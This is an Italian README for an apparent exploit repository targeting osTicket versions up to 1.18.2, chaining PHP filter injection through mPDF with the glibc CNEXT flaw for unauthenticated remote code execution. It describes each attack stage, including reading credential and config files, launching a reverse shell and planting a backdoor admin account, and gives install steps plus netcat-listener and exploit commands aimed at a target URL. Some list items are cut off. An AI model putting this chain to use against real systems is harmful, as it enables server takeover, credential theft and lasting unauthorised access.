Exploit a catena completa che combina PHP filter chain injection con CVE-2024-2961 (CNEXT) per l'esecuzione remota di codice non autenticata su installazioni vulnerabili di osTicket.
Exploit a catena completa che combina l'iniezione di catene di filtri PHP con CVE-2024-2961 (CNEXT) per l'esecuzione remota di codice non autenticata su installazioni osTicket vulnerabili.
Questo repository contiene un exploit proof-of-concept per CVE-2026-22200, una vulnerabilità critica che colpisce le versioni di osTicket ≤ 1.18.2. L'exploit combina due potenti tecniche:
Il risultato: Esecuzione Remota di Codice non autenticata su server osTicket vulnerabili.
Punteggio CVSS: 9.8 (Critico)
L'integrazione di mPDF in osTicket consente a utenti non autenticati di iniettare catene di filtri PHP dannose attraverso payload HTML appositamente costruiti nei ticket di supporto. Ciò consente:
Causa Principale: Validazione insufficiente degli URL delle immagini nell'HTML fornito dall'utente prima di passarli a mPDF.
Punteggio CVSS: 9.8 (Critico)
Buffer overflow in iconv() di glibc durante l'elaborazione del set di caratteri ISO-2022-CN-EXT. Combinato con le catene di filtri PHP, questo consente:
Versioni glibc vulnerabili: < 2.39 (Febbraio 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RICOGNIZIONE │
│ └─ Rilevamento di osTicket, identificazione topic rich-text │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICAZIONE │
│ └─ Auto-registrazione OPPURE uso di credenziali esistenti │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ESFILTRAZIONE DI FILE (Catene di Filtri PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (credenziali DB, SECRET_SALT) │
│ ├─ /proc/self/maps (layout di memoria) │
│ └─ /proc/self/environ (variabili d'ambiente) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. RILEVAMENTO DELL'IMPRONTA DIGITALE DI LIBC │
│ ├─ Estrazione parziale di libc tramite catene di filtri │
│ ├─ Estrazione del GNU Build ID │
│ └─ Download della libc completa da libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. SFRUTTAMENTO RCE CON CNEXT │
│ ├─ Generazione del payload di corruzione dell'heap │
│ ├─ Iniezione tramite risposta al ticket (con correzioni) │
│ ├─ Attivazione tramite esportazione PDF (crash del server) │
│ └─ Esecuzione della reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-SFRUTTAMENTO │
│ ├─ Reverse shell interattiva │
│ ├─ Accesso al database (usando DBPASS esfiltrato) │
│ └─ Creazione di un account admin backdoor │
└─────────────────────────────────────────────────────────────────┘
# Clona il repository
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Installa i pacchetti richiesti
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OPPURE
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminale 1: Avvia listener
nc -lvnp 4444
# Terminale 2: Esegui exploit
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Usa proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forza un ID specifico del topic di aiuto
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2